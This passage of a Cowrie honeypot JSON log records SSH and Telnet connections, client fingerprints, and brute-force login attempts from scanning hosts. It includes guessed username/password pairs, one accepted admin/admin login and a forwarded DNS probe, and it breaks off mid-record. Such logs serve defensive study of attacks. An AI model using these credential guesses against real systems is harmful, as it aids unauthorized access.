{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:25.556916Z","src_ip":"125.31.2.160","session":"ca5f1e57eb4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q3xaDraz","message":"login attempt [root/q3xaDraz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:26.463938Z","src_ip":"125.31.2.160","session":"ca5f1e57eb4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:27.685161Z","src_ip":"125.31.2.160","session":"ca5f1e57eb4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44912,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f7e996ee0bf","protocol":"telnet","message":"New connection: 172.233.212.110:44912 (10.17.0.5:23) [session: 9f7e996ee0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:29.935396Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44920,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c1921892cd7","protocol":"telnet","message":"New connection: 172.233.212.110:44920 (10.17.0.5:23) [session: 4c1921892cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:30.460374Z"}
{"eventid":"cowrie.session.closed","duration":35.88402605056763,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:30.504228Z","src_ip":"139.162.207.207","session":"0eb574f7c22d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50102,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aa502a66f1f","protocol":"telnet","message":"New connection: 139.162.207.207:50102 (10.17.0.5:23) [session: 0aa502a66f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:31.416477Z"}
{"eventid":"cowrie.session.closed","duration":31.59947109222412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:31.665390Z","src_ip":"172.233.212.110","session":"d38655b9c01b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01288843154907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:33.176844Z","src_ip":"172.233.212.110","session":"336291fd9f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.976892232894897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:34.031019Z","src_ip":"172.233.212.110","session":"d913509d9457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":54846,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b50cb008289","protocol":"telnet","message":"New connection: 172.233.212.110:54846 (10.17.0.5:23) [session: 3b50cb008289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:34.776297Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":54854,"dst_ip":"10.17.0.5","dst_port":23,"session":"44fea1c384ef","protocol":"telnet","message":"New connection: 172.233.212.110:54854 (10.17.0.5:23) [session: 44fea1c384ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:35.611360Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"39d31081daf7","protocol":"telnet","message":"New connection: 172.233.212.110:54856 (10.17.0.5:23) [session: 39d31081daf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:39.291379Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":54858,"dst_ip":"10.17.0.5","dst_port":23,"session":"27e924aeb0fe","protocol":"telnet","message":"New connection: 172.233.212.110:54858 (10.17.0.5:23) [session: 27e924aeb0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:39.973405Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41468,"dst_ip":"159.203.135.109","dst_port":22,"session":"8825b962ce8c","protocol":"ssh","message":"New connection: 159.203.92.129:41468 (159.203.135.109:22) [session: 8825b962ce8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:40.242727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:40.247801Z","src_ip":"159.203.92.129","session":"8825b962ce8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:40.252686Z","src_ip":"159.203.92.129","session":"8825b962ce8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abcd1234","message":"login attempt [ansible/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:40.265144Z","src_ip":"159.203.92.129","session":"8825b962ce8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:41.272944Z","src_ip":"159.203.92.129","session":"8825b962ce8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35970,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e9c3e4378e","protocol":"ssh","message":"New connection: 87.251.64.176:35970 (10.17.0.5:22) [session: 36e9c3e4378e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:42.623300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:42.627563Z","src_ip":"87.251.64.176","session":"36e9c3e4378e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:42.723148Z","src_ip":"87.251.64.176","session":"36e9c3e4378e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:43.016885Z","src_ip":"87.251.64.176","session":"36e9c3e4378e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:43.115044Z","session":"36e9c3e4378e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:43.212200Z","src_ip":"87.251.64.176","session":"36e9c3e4378e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:43.310737Z","src_ip":"87.251.64.176","session":"36e9c3e4378e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":37378,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e6f97e22536","protocol":"telnet","message":"New connection: 172.233.212.110:37378 (10.17.0.5:23) [session: 3e6f97e22536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:45.768515Z"}
{"eventid":"cowrie.session.closed","duration":35.588754177093506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:46.523614Z","src_ip":"139.162.207.207","session":"1a704ba319b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.990285873413086,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:46.655190Z","src_ip":"172.233.212.110","session":"51d530f73ca2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76785445213318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:48.683732Z","src_ip":"209.126.87.217","session":"10764534c39e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":37386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c1cfba00092","protocol":"telnet","message":"New connection: 172.233.212.110:37386 (10.17.0.5:23) [session: 0c1cfba00092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:48.919455Z"}
{"eventid":"cowrie.session.closed","duration":38.381624698638916,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:50.088727Z","src_ip":"139.162.207.207","session":"83d4d4af2539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":59230,"dst_ip":"10.17.0.5","dst_port":23,"session":"58dc33bc91c7","protocol":"telnet","message":"New connection: 139.162.207.207:59230 (10.17.0.5:23) [session: 58dc33bc91c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:50.710575Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"14371e72ade4","protocol":"telnet","message":"New connection: 172.233.212.110:37398 (10.17.0.5:23) [session: 14371e72ade4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:52.150736Z"}
{"eventid":"cowrie.session.closed","duration":31.677294731140137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:53.379103Z","src_ip":"172.233.212.110","session":"77774af93280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":48540,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3081924a4a7","protocol":"telnet","message":"New connection: 172.233.212.110:48540 (10.17.0.5:23) [session: e3081924a4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:57.358059Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":48542,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d13a0b88c04","protocol":"telnet","message":"New connection: 172.233.212.110:48542 (10.17.0.5:23) [session: 3d13a0b88c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:00.855061Z"}
{"eventid":"cowrie.session.closed","duration":30.854907512664795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:01.315142Z","src_ip":"172.233.212.110","session":"4c1921892cd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.292662620544434,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:03.227974Z","src_ip":"172.233.212.110","session":"9f7e996ee0bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62452530860901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:05.400676Z","src_ip":"172.233.212.110","session":"3b50cb008289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26862144470215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:05.685003Z","src_ip":"139.162.207.207","session":"0aa502a66f1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ff112d2af9","protocol":"telnet","message":"New connection: 172.233.212.110:59044 (10.17.0.5:23) [session: 84ff112d2af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:06.242052Z"}
{"eventid":"cowrie.session.closed","duration":30.93546772003174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:06.546688Z","src_ip":"172.233.212.110","session":"44fea1c384ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.776445150375366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:10.067738Z","src_ip":"172.233.212.110","session":"39d31081daf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.63176226615906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:14.605047Z","src_ip":"172.233.212.110","session":"27e924aeb0fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00184202194214,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:14.861163Z","src_ip":"42.114.201.41","session":"c85c02489274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51264,"dst_ip":"10.17.0.5","dst_port":23,"session":"4496cd701139","protocol":"telnet","message":"New connection: 172.233.212.110:51264 (10.17.0.5:23) [session: 4496cd701139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:15.599649Z"}
{"eventid":"cowrie.session.closed","duration":32.16514348983765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:17.933523Z","src_ip":"172.233.212.110","session":"3e6f97e22536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":4275,"dst_ip":"159.203.135.109","dst_port":23,"session":"b514fad6ad5d","protocol":"telnet","message":"New connection: 42.114.201.41:4275 (159.203.135.109:23) [session: b514fad6ad5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:19.663940Z"}
{"eventid":"cowrie.session.closed","duration":31.540096759796143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:20.459459Z","src_ip":"172.233.212.110","session":"0c1cfba00092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"332685e60df2","protocol":"ssh","message":"New connection: 125.31.2.160:60826 (10.17.0.5:22) [session: 332685e60df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:22.570400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:22.574853Z","src_ip":"125.31.2.160","session":"332685e60df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:22.791710Z","src_ip":"125.31.2.160","session":"332685e60df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.937201976776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:23.087815Z","src_ip":"172.233.212.110","session":"14371e72ade4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37498,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f442fe1c24b","protocol":"ssh","message":"New connection: 159.203.92.129:37498 (159.203.135.109:22) [session: 5f442fe1c24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:23.463888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:23.469154Z","src_ip":"159.203.92.129","session":"5f442fe1c24b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@